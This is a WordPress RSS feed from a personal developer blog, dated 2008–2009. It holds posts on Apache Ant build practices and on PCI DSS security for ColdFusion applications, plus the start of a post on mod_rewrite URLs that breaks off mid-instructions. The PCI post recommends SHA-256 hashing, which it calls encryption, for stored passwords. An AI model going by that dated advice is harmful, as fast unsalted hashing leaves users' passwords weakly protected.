<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Simon Whatley &#187; web applications</title>
	<atom:link href="http://www.simonwhatley.co.uk/tag/web-applications/feed" rel="self" type="application/rss+xml" />
	<link>http://www.simonwhatley.co.uk</link>
	<description>The opposite of every great idea is another great idea</description>
	<lastBuildDate>Wed, 02 Nov 2011 09:28:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Apache Ant Best Practices</title>
		<link>http://www.simonwhatley.co.uk/apache-ant-best-practices</link>
		<comments>http://www.simonwhatley.co.uk/apache-ant-best-practices#comments</comments>
		<pubDate>Mon, 10 Aug 2009 09:12:40 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Apache Ant]]></category>
		<category><![CDATA[automated build]]></category>
		<category><![CDATA[best practices]]></category>
		<category><![CDATA[build scripts]]></category>
		<category><![CDATA[immediate processing]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[local development server]]></category>
		<category><![CDATA[similar build tool]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[The Definitive Guide]]></category>
		<category><![CDATA[user acceptance testing server]]></category>
		<category><![CDATA[web applications]]></category>
		<category><![CDATA[web development]]></category>
		<category><![CDATA[XML]]></category>
		<category><![CDATA[Yahoo]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=1831</guid>
		<description><![CDATA[Before Ant, building and deploying web applications required a series of scripts or manual processes, which often led to mistakes. Apache Ant is a software tool for automating software build processes. It is similar to Make but is implemented using the Java language, requires the Java platform, and is best suited to building Java projects. However, that doesn’t mean it is restricted to Java projects. I use Ant increasingly for all my web development projects as it is an integral part of Eclipse, my IDE of choice. It makes building applications and releasing them across different servers far more efficient and less problematic.]]></description>
			<content:encoded><![CDATA[<p>Before Ant, building and deploying web applications required a series of scripts or manual processes, which often led to mistakes.</p>
<p>Apache <a href="http://ant.apache.org" title="Apache Ant" target="_blank" rel="nofollow">Ant</a> is a software tool for automating software build processes. It is similar to Make but is implemented using the Java language, requires the Java platform, and is best suited to building Java projects. However, that doesn&#8217;t mean it is restricted to Java projects. I use Ant increasingly for all my web development projects as it is an integral part of <a href="http://eclipse.org" title="Eclipse" target="_blank" rel="nofollow">Eclipse</a>, my <abbr title="Integrated Development Environment">IDE</abbr> of choice. It makes building applications and releasing them across different servers far more efficient and less problematic.</p>
<p>When I start a new project, after creating the folder structure, I create the Ant build file. Ant defines the build process and must be used by every developer working on the project. All of the tips in this article assume that the Ant build file is extremely important, must be written with care, and maintained in version control and re-factored periodically, when the project dependencies change.</p>
<p>Ant uses <abbr title="eXtensible Markup Language">XML</abbr> to describe the build process and its dependencies. By default the <abbr title="eXtensible Markup Language">XML</abbr> file is named <code>build.xml</code>. This makes it really simple for you setup and edit different build processes. However, since Ant is relatively simple to set up, you need to follow a common set of best practices. Some of these best practices were inspired by mistakes made on previous projects, or ideas passed on to me by other developers.</p>
<h3>Automate absolutely everything</h3>
<p>Ant is a powerful tool. If you choose to use it, get it to do absolutely everything. Ant can integrate with your source control databases such as Subversion (<abbr title="Subversion">SVN</abbr>), run <abbr title="Structured Query Language">SQL</abbr> scripts, change file permissions, send files across <abbr title="File Transfer Protocol">FTP</abbr>, zip and un-zip files, and many more tasks besides these.</p>
<h3>If you use Ant, only use Ant</h3>
<p>Use Ant as a common baseline. Regardless of what <abbr title="Integrated Development Environment">IDE</abbr> you use to develop your applications, set up an Ant build file that <strong>all</strong> team members use. The <code>build.xml</code> file is the one true build script. Make a rule that everyone should perform a successful Ant build before code is checked into version control. This will ensure that code will always build from the same build file.</p>
<h3>Follow consistent conventions</h3>
<p>Ant expects your build file to be called <code>build.xml</code> and the build&#8217;s properties file <code>build.properties</code>. These files should also be in the root directory of your project. Other than an insane desire to change convention and confuse other team members, don&#8217;t change this convention. Another less-well-known convention is to prefix all internal commands with a hyphen (-). It has the advantage that it is not possible to invoke targets that follow this naming convention, from the command line.</p>
<p>Spend time formatting the build file. Since <abbr title="eXtensible Markup Language">XML</abbr> is quite verbose, use tabs and line breaks to make the file readable to the human eye. Ant itself doesn&#8217;t care if the file looks pretty, but you can bet that you and your team will.</p>
<p>Pick meaningful, human-readable names for targets and properties. For example <em>dir.reports</em> is better than simple <em>rpt</em>. The specific naming convention is not important, beyond being meaningful to your organisation. For example, I use the following:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">deploy.local
deploy.dev
deploy.test
deploy.live
-build
-clean
-concatenate
-minify
-prepare</pre></div></div>

<p>The <em>-concatenate</em> and <em>-minify</em> commands are specific to web projects, the later using the Yahoo compressor library to minify <abbr ttile="Cascading Stylesheets">CSS</abbr> and JavaScript files.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Provide a clean target</h3>
<p>Every build file should include a target that removes all generated files and directories, bringing everything back to its original pristine state. All files remaining after the clean should be those found in version control.</p>
<p>An example clean command could be as follows:</p>

<div class="wp_syntax"><div class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;target</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;clean&quot;</span> <span style="color: #000066;">description</span>=<span style="color: #ff0000;">&quot;Deletes all generated files and directories&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;delete</span> <span style="color: #000066;">dir</span>=<span style="color: #ff0000;">&quot;${dir.build}&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;delete</span> <span style="color: #000066;">dir</span>=<span style="color: #ff0000;">&quot;${dir.dist}&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/target<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></div></div>

<h3>Use build files for all stages of the development process (development, staging and production)</h3>
<p>Ant standardises your build and release cycle. Therefore use it for all stages of the development process. Use it for releasing code to your local development server, your staging or user acceptance testing server and your production server. The different deployments can obviously differ slightly based upon the needs, i.e. your production build need not include the creation of dummy data, but may include a call to source control.</p>
<h3>Make build files self-contained</h3>
<p>A build file that relies on external dependencies is one that will be difficult to configure or has the potential to cause problems. If your build depends on additional tools, put them in your source control repository. I generally include a <em>lib</em> for all dependencies in my project root. This folder includes such files as the <a href="http://developer.yahoo.com/yui/compressor/" title="Yahoo Compressor" target="_blank" rel="nofollow">Yahoo Compressor</a> or <a href="http://www.jslint.com" title="JSLint" target="_blank" rel="nofollow">JSLint</a>.</p>
<h3>Prefer a single build file</h3>
<p>It is possible to split the build up into several small build files, each of which is responsible for a small proportion of the overall build. This isn&#8217;t always the best idea! Breaking the build often makes it harder to comprehend the whole process. It is better not to over-engineer the project and keep to a single, well formatted build file.</p>
<p>If your project is split into different build files, there should always be a master build file, found in the root directory of the project, even if it only delegates actual work to subordinate builds.</p>
<h3>Put the build.xml file in the project&#8217;s root directory</h3>
<p>The Ant build file can reside anywhere in the project tree, but conceptually it makes sense to put the file in the project root. This keeps things clean, simple and somewhat obvious to new members to the project. Having a build file in the top-level directory also makes it conceptually easy to see how relative paths point to different directories in the project tree.</p>
<p>When the <code>build.xml</code> file is in the top-level directory, you can compile code from the command line without the need to change the working directory.</p>
<h3>Modularise your project</h3>
<p>Arrange your project into coherent self-contain modules.</p>
<p>The following shows how I typically arrange my project files.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">[root directory]
	/docs
	/lib
	/src
build.properties
build.xml
task.properties</pre></div></div>

<p> The <em>docs</em> folder contains project documentation, the <em>lib</em> folder contains libraries specific to the project and required by Ant (generally this is a link to repository containing a number of utility JAR files, such as those for <abbr title="Subversion">SVN</abbr> and <abbr title="File Transfer Protocol">FTP</abbr>). Finally, the <em>src</em> folder contains the actual project files.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Use version control</h3>
<p>It is important to use version control for your entire project. The build file is an important artefact that needs to be versioned along with the source code of the project. When you tag a build for release, the build file should also be included. If you then need to roll back to a previous release, you will be able to build the code based upon the build file used for that particular release (after all, build files develop along with changes to the source code).</p>
<p>Third-party <abbr title="Java Archive">JAR</abbr> and executable files should also be maintained in your local version control. This makes it possible to recreate previous releases, after all third-party libraries are likely to develop and change as frequently as your own code. If you want or need to take advantage of these changes, it is necessary to version control the older versions.</p>
<p>Avoid including build output in version control. Provided that you use version control correctly, you will be able to recreate these files at a later date.</p>
<h3>Include comments in the build file (self-documenting)</h3>
<p>Make the build file self-documenting. Adding target descriptions is one way to achieve this. For example:</p>

<div class="wp_syntax"><div class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;target</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;clean&quot;</span> <span style="color: #000066;">description</span>=<span style="color: #ff0000;">&quot;Deletes all generated files and directories&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span></pre></div></div>

<p>Internal targets should not include description attributes. Internal targets may include targets that perform immediate processing, such as file concatenation or minifying.</p>
<p>Another way to include help in the build file is the <code>echo</code> tag. You can put any amount of comment between these tags and the information is printed to screen. For example:</p>

<div class="wp_syntax"><div class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;target</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;clean&quot;</span> <span style="color: #000066;">description</span>=<span style="color: #ff0000;">&quot;Deletes all generated files and directories&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;echo<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>Cleaning project...<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/echo<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;echo<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>Deleting build directory...<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/echo<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;delete</span> <span style="color: #000066;">dir</span>=<span style="color: #ff0000;">&quot;${dir.build}&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;echo<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>Deleting dist directory...<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/echo<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
	<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;delete</span> <span style="color: #000066;">dir</span>=<span style="color: #ff0000;">&quot;${dir.dist}&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/target<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></div></div>

<h3>Summary</h3>
<p>By using Ant and creating and maintaining build scripts for a project, the reliance on ad-hoc manual procedures for compiling and creating websites is removed. Using a defined process with Ant, or similar build tool, removes errors across the entire project, whilst allowing teams to develop code more efficiently.</p>
<h3>References</h3>
<p>Holzner, Steve (2005). Ant: The Definitive Guide, 2nd Edition, O&#8217;Reilly, ISBN 978-0-596-00609-9.</p>
<p>Apache Ant &#8211; <a href="http://ant.apache.org" title="Apache Ant" target="_blank" rel="nofollow">http://ant.apache.org</a></p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/apache-ant-best-practices/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Secure Your Application &#8211; PCI DSS Specifications</title>
		<link>http://www.simonwhatley.co.uk/secure-your-application-pci-dss-specifications</link>
		<comments>http://www.simonwhatley.co.uk/secure-your-application-pci-dss-specifications#comments</comments>
		<pubDate>Mon, 26 Jan 2009 11:19:37 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Adobe ColdFusion]]></category>
		<category><![CDATA[American Express]]></category>
		<category><![CDATA[anti-virus software]]></category>
		<category><![CDATA[Applications]]></category>
		<category><![CDATA[architecture]]></category>
		<category><![CDATA[Authentication]]></category>
		<category><![CDATA[BlueDragon]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[ColdFusion Administrator]]></category>
		<category><![CDATA[company processing]]></category>
		<category><![CDATA[compliance]]></category>
		<category><![CDATA[control measures]]></category>
		<category><![CDATA[Data Security Standard]]></category>
		<category><![CDATA[database server]]></category>
		<category><![CDATA[Databases]]></category>
		<category><![CDATA[Discover Financial Services]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[JCB International]]></category>
		<category><![CDATA[Manitoba]]></category>
		<category><![CDATA[Mastercard Worldwide]]></category>
		<category><![CDATA[Payment Card Industry]]></category>
		<category><![CDATA[Payment Card Industry Security Standards Council]]></category>
		<category><![CDATA[payment card processing]]></category>
		<category><![CDATA[Payment Processors]]></category>
		<category><![CDATA[PCI DSS]]></category>
		<category><![CDATA[public networks]]></category>
		<category><![CDATA[Railo]]></category>
		<category><![CDATA[raw processing]]></category>
		<category><![CDATA[RDBMS]]></category>
		<category><![CDATA[regulations]]></category>
		<category><![CDATA[secure]]></category>
		<category><![CDATA[secure systems]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Security Standards Council]]></category>
		<category><![CDATA[security systems]]></category>
		<category><![CDATA[Server Side]]></category>
		<category><![CDATA[software developers]]></category>
		<category><![CDATA[software releases]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SSC]]></category>
		<category><![CDATA[the Council]]></category>
		<category><![CDATA[Visa]]></category>
		<category><![CDATA[Visa Inc .]]></category>
		<category><![CDATA[web application]]></category>
		<category><![CDATA[web application developers]]></category>
		<category><![CDATA[web applications]]></category>
		<category><![CDATA[web code]]></category>
		<category><![CDATA[Web Servers]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=1785</guid>
		<description><![CDATA[PCI DSS stands for Payment Card Industry Data Security Standard, and is a worldwide security standard assembled by the Payment Card Industry Security Standards Council (PCI SSC). The PCI security standards are technical and operational requirements that were created to help organizations that process card payments prevent credit card fraud, hacking and various other security vulnerabilities and threats. The standards apply to all organizations that store, process or transmit cardholder data – with guidance for software developers and manufacturers of applications and devices used in those transactions. A company processing, storing, or transmitting cardholder data must be PCI DSS compliant.]]></description>
			<content:encoded><![CDATA[<p>PCI DSS stands for <a href="https://www.pcisecuritystandards.org/" title="Payment Card Industry Data Security Standard website" target="_blank" rel="nofollow">Payment Card Industry Data Security Standard</a>, and is a worldwide security standard assembled by the Payment Card Industry Security Standards Council (<abbr title="Payment Card Industry">PCI</abbr> <abbr title="Security Standards Council">SSC</abbr>). The <abbr title="Payment Card Industry">PCI</abbr> security standards are technical and operational requirements that were created to help organizations that process card payments prevent credit card fraud, hacking and various other security vulnerabilities and threats. The standards apply to all organizations that store, process or transmit cardholder data – with guidance for software developers and manufacturers of applications and devices used in those transactions. A company processing, storing, or transmitting cardholder data must be <abbr title="Payment Card Industry">PCI</abbr> <abbr title="Data Security Standard">DSS</abbr> compliant.</p>
<p><a href="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2009/01/payment-card-data.png"><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2009/01/payment-card-data.png" alt="Types of Data on a Payment Card" title="Types of Data on a Payment Card" width="600" height="255" class="aligncenter size-full wp-image-1815" /></a></p>
<p>The <abbr title="Payment Card Industry">PCI</abbr> <abbr title="Security Standards Council">SSC</abbr> (<q>Council</q>) is responsible for managing the security standards, while compliance with the <abbr title="Payment Card Industry">PCI</abbr> set of standards is enforced by the founding members of the Council: <a href="http://www.americanexpress.com/datasecurity" title="American Express" target="_blank" rel="nofollow">American Express</a>, <a href="http://www.discovernetwork.com/fraudsecurity/disc.html" title="Discover Financial Services" target="_blank" rel="nofollow">Discover Financial Services</a>, <a href="http://www.jcb-global.com/english/pci/index.html" title="JCB International" target="_blank" rel="nofollow">JCB International</a>, <a href="http://www.mastercard.com/sdp" title="MasterCard Worldwide" target="_blank" rel="nofollow">MasterCard Worldwide</a> and <a href="http://www.visa.com/cisp" title="Visa" target="_blank" rel="nofollow">Visa Inc</a>. Non-compliant companies who maintain a relationship with one or more of the card brands, either directly or through an acquirer risk losing their ability to process credit card payments and being audited and/or fined.</p>
<p>All in-scope companies must validate their compliance annually. This validation can be conducted by Qualified Security Assessors, i.e. companies that have completed a <a href="https://www.pcisecuritystandards.org/qsa_asv/become_qsa.shtml" title="PCI: Becoming a Qualified Security Assessor" target="_blank" rel="nofollow">three-step certification process</a> by the <abbr title="Payment Card Industry">PCI</abbr> <abbr title="Security Standards Council">SSC</abbr> which recognises them as being qualified to assess compliance to the <abbr title="Payment Card Industry">PCI</abbr> <abbr title="Data Security Standard">DSS</abbr> standard. However, smaller companies have the option to use a <a href="https://www.pcisecuritystandards.org/saq/index.shtml" title="PCI Self-Assessment Questionnaire" target="_blank" rel="nofollow">Self-Assessment Questionnaire</a>. Whether this questionnaire needs to be validated by a <abbr title="Qualified Security Assessors">QSA</abbr> depends on the requirements of the card brands in that merchant&#8217;s region.</p>
<p>The current version of the standard specifies 12 requirements for compliance, organised into 6 logically related groups, which are called &#8220;control objectives.&#8221;</p>
<ol>
<li>Build and Maintain a Secure Network
<ul>
<li>Requirement 1: Install and maintain a firewall configuration to protect cardholder data</li>
<li>Requirement 2: Do not use vendor-supplied defaults for system passwords and other security parameters</li>
</ul>
</li>
<li>Protect Cardholder Data
<ul>
<li>Requirement 3: Protect stored cardholder data</li>
<li>Requirement 4: Encrypt transmission of cardholder data across open, public networks</li>
</ul>
</li>
<li>Maintain a Vulnerability Management Program
<ul>
<li>Requirement 5: Use and regularly update anti-virus software</li>
<li>Requirement 6: Develop and maintain secure systems and applications</li>
</ul>
</li>
<li>Implement Strong Access Control Measures
<ul>
<li>Requirement 7: Restrict access to cardholder data by business need-to-know</li>
<li>Requirement 8: Assign a unique ID to each person with computer access</li>
<li>Requirement 9: Restrict physical access to cardholder data</li>
</ul>
</li>
<li>Regularly Monitor and Test Networks
<ul>
<li>Requirement 10: Track and monitor all access to network resources and cardholder data</li>
<li>Requirement 11: Regularly test security systems and processes</li>
</ul>
</li>
<li>Maintain an Information Security Policy
<ul>
<li>Requirement 12: Maintain a policy that addresses information security</li>
</ul>
</li>
</ol>
<p>Compliance with these requirements can be summarized into 3 main stages:</p>
<ul>
<li>Collecting and storing: Secure collection and tamper-proof storage of all log data so that it is available for analysis.</li>
<li>Reporting: Being able to prove compliance on the spot if audited and present evidence that controls are in place for protecting data.</li>
<li>Monitoring and alerting: Have systems in place such as auto-alerting, to help administrators constantly monitor access and usage of data. Administrators are warned of problems immediately and can rapidly address them. These systems should also extend to the log data itself –- there must be proof that log data is being collected and stored.</li>
</ul>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>What does this actually mean for web application developers?</h3>
<p>It is considerably more expensive and more time-consuming to recover from a security incident than to take preventative measures ahead of time. If you follow the guidelines below, you will go along way to securing you application in line with the <abbr title="Payment Card Industry">PCI</abbr> <abbr title="Data Security Standards">DSS</abbr> regulations. Many of the measures apply to general application security, but since <abbr title="Payment Card Industry">PCI</abbr> <abbr title="Data Security Standards">DSS</abbr> is all about security, they are worth mentioning.</p>
<p>Server-level Security:</p>
<ul>
<li>Separate web- and database-servers on to different physical machines.</li>
<li>Secure the web- and database-servers with traditional techniques. Only authorised accounts should have the capabilities to run tasks on the machine. That means not giving admin-rights to the user account.</li>
<li>Keep servers up-to-date with the latest patches and software releases.</li>
<li>Minimise the number of services running on the server. This means limiting the services to only those required for the web- or database-servers to function.</li>
<li>Secure information in transit between servers. This may mean physically securing the network to prevent evesdropping via encryption or obfuscating the data amongst innocuous &#8216;noise&#8217;.</li>
<li>Secure the database server behind a firewall.</li>
</ul>
<p>Application-level Security:</p>
<ul>
<li>Separate ColdFusion, the webserver and database server user accounts. They should never be under the same system account.</li>
<li>Create a database user specifically for your ColdFusion datasource and restrict it to only the activities required for the application. The user should not have database-owner rights, access to databases not relating to the application or access to the system tables.</li>
<li>Revoke privileges in the ColdFusion datasource definition to prevent the <abbr title="Structured Query Language">SQL</abbr> commands <code>CREATE</code>, <code>DROP</code>, <code>GRANT</code>, <code>REVOKE</code> and <code>ALTER</code>.</li>
<li>General settings in the ColdFusion Administrator:
<ul>
<li>Check the <em>Disable access to internal ColdFusion Java components</em> option.</li>
<li>Check the <em>Enable Global Script Protection</em> option.</li>
<li>Add a <em>Missing Template Handler</em>.</li>
<li>Add a <em>Site-wide Error Handler</em>.</li>
<li>Reduce the <em>Maximum size of post data</em> from 100<abbr title="megabytes">MB</abbr>.</li>
<li>Enable <em>Timeout Requests</em>, and set to 60 seconds or less.</li>
<li>Disable <em>Robust Exception Handling</em> on production servers.</li>
</ul>
</ul>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>Web Application-level Security:</p>
<ul>
<li>Use secure HTTP to transfer data and/or when logged into &#8216;administration&#8217; secutions of your web application.</li>
<li>Timeout sessions after 15 minutes and on browser close.</li>
<li>Provide multi-level login processes. For example, lock the application after 3 failed attempts for a period of 10 minutes.</li>
<li>Do not identify whether the username or password are incorrect, simply notify the user that their login failed and that they must try again.</li>
<li>Encrypt passwords stored in the database with a standard such as <a href="http://en.wikipedia.org/wiki/SHA_hash_functions" title="Wikipedia: SHA cryptographic has function" target="_blank" rel="nofollow">SHA-256</a> or &#8216;stronger&#8217;.</li>
<li>Use <a href="http://en.wikipedia.org/wiki/Captcha" title="Wikipedia: CAPTCHA" target="_blank" rel="nofollow">CAPTCHA</a>s (textual and aural) to prevent automated robots hacking into your application.</li>
<li>Run regular penetration tests on your application to identify potential problems.</li>
<li>Encrypt credit card information held in the database or other storage mechanism. Only store credit card data in line with the <abbr title="Payment Card Industry">PCI</abbr> <abbr title="Data Security Standards">DSS</abbr> regulations.</li>
</ul>
<p>Code-level Security:</p>
<ul>
<li>Application.cfc &#8211; Set the <code>scriptProtect</code> Application variable to <code>true</code> to enable application-wide cross-site script protection.
</li>
<li>CFQueryParam &#8211; This tag, importantly, verifies the data type of a query parameter and, for <abbr title="Relational Database Management Systems">RDBMS</abbr>s that support bind variables, enables ColdFusion to use bind variables in the <acronym title="Structured Query Language">SQL</acronym> statement. Bind variable usage enhances performance when executing a <code>cfquery</code> statement multiple times. There are limitations to the use of the <code>cfqueryparam</code> tag. In ColdFusion 7 for example, you cannot use them in queries using the <code>cachedWithin</code> attribute. Similarly, they cannot be used in <code>ORDER BY</code> clauses, although the use of conditional logic should resolve the need for order by variables.
</li>
<li>Functions &#8211; As a rule of thumb, validate <em>all</em> the data being passed into a query prior to it being used. ColdFusion MX 7 saw the introduction of the <code>isValid()</code> function. This function tests whether a value meets a validation or data type rule and can be used to replace a large number of type-specific functions such as <code>isArray()</code>, <code>isBinary()</code>, <code>isBoolean()</code>, <code>isDate()</code>, <code>isNumeric()</code> and <code>isSimpleValue()</code> etc.
</li>
<li>Stored Procedures &#8211; I often favour the use of stored procedures over standard queries. Not only do they add an additional level of performance, they provide an additional level of security; ColdFusion does not do any raw processing of queries in the web code, it simply passes variables down the wire to the database server.</li>
</ul>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Conclusion</h3>
<p>The goal of the <abbr title="Payment Card Industry">PCI</abbr> Data Security Standard is to protect cardholder data that is processed, stored or transmitted by merchants. The security controls and processes required by <abbr title="Payment Card Industry">PCI</abbr> <abbr title="Data Security Standards">DSS</abbr> are vital for protecting cardholder account data, including the <abbr title="primary account number">PAN</abbr> &#8211; the primary account number printed on the front of a payment card. Merchants and any other service providers involved with payment card processing must never store sensitive authentication data after authorisation. This includes sensitive data that is printed on a card, or stored on a card’s magnetic stripe or chip &#8211; and personal identification numbers entered by the cardholder.</p>
<p>By following the points made above, you will go a long way to meeting the <abbr title="Payment Card Industry">PCI</abbr> <abbr title="Data Security Standards">DSS</abbr> guidelines, whilst also securing your infrastructure and applications in a more general sense.</p>
<p><strong>Caveat:</strong> The views and comments written in this article are provided as a guideline. I hold no responsibility for the security of your applications and data based upon the information provided.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/secure-your-application-pci-dss-specifications/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Enabling Search Engine Safe URLs with Apache and htaccess</title>
		<link>http://www.simonwhatley.co.uk/enabling-search-engine-safe-urls-with-apache-and-htaccess</link>
		<comments>http://www.simonwhatley.co.uk/enabling-search-engine-safe-urls-with-apache-and-htaccess#comments</comments>
		<pubDate>Mon, 08 Dec 2008 15:57:15 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Search]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[All]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[ColdBox]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[Fusebox]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[httpd.conf]]></category>
		<category><![CDATA[ISAPI]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[mod_rewrite]]></category>
		<category><![CDATA[New Brunswick]]></category>
		<category><![CDATA[None]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[search engine]]></category>
		<category><![CDATA[search engine optimisation]]></category>
		<category><![CDATA[search engine robots]]></category>
		<category><![CDATA[search engine safe]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[URL rewriting]]></category>
		<category><![CDATA[USD]]></category>
		<category><![CDATA[web applications]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=1635</guid>
		<description><![CDATA[An increasingly popular technique among websites and in particular, blogs, is the idea of making URLs search engine friendly, or safe, on the premise that doing so will help search engine optimisation. By removing the obscure query string element of a URL and replacing it with keyword rich alternatives, not only makes it more readable for a human being, but also the venerable robots that allow our page content to be found in the first place.]]></description>
			<content:encoded><![CDATA[<p>An increasingly popular technique among websites and in particular, blogs, is the idea of making <abbr title="Universal Resource Locator">URL</abbr>s search engine friendly, or safe, on the premise that doing so will help search engine optimisation. By removing the obscure query string element of a <abbr title="Universal Resource Locator">URL</abbr> and replacing it with keyword rich alternatives, not only makes it more readable for a human being, but also the venerable robots that allow our page content to be found in the first place.</p>
<p>For example, the following is WordPress&#8217; default URL configuration for a post:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">http://www.domain.com/?p=1635</pre></div></div>

<p>However, buy using a URL-rewriting available in the Apache webserver, we can achieve a far better result, such as the following:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">http://www.domain.com/search-engine-safe-urls</pre></div></div>

<p>NB. It is also possible to achieve a similar result with an <abbr title="Internet Server Application Programming Interface">ISAPI</abbr> rewrite for Microsoft&#8217;s <abbr title="Internet Information Server">IIS</abbr> webserver, but this topic will not be included in this post.</p>
<p>To get your website working with <abbr title="search engine safe">SES</abbr> <abbr title="Universal Resource Locator">URL</abbr>s you need to enable both the <code>mod_rewite</code> module and <code>AllowOverride</code> directive in the Apache configuration file.</p>
<p>Uncomment (remove #) from the following to enable the re-write rule:</p>

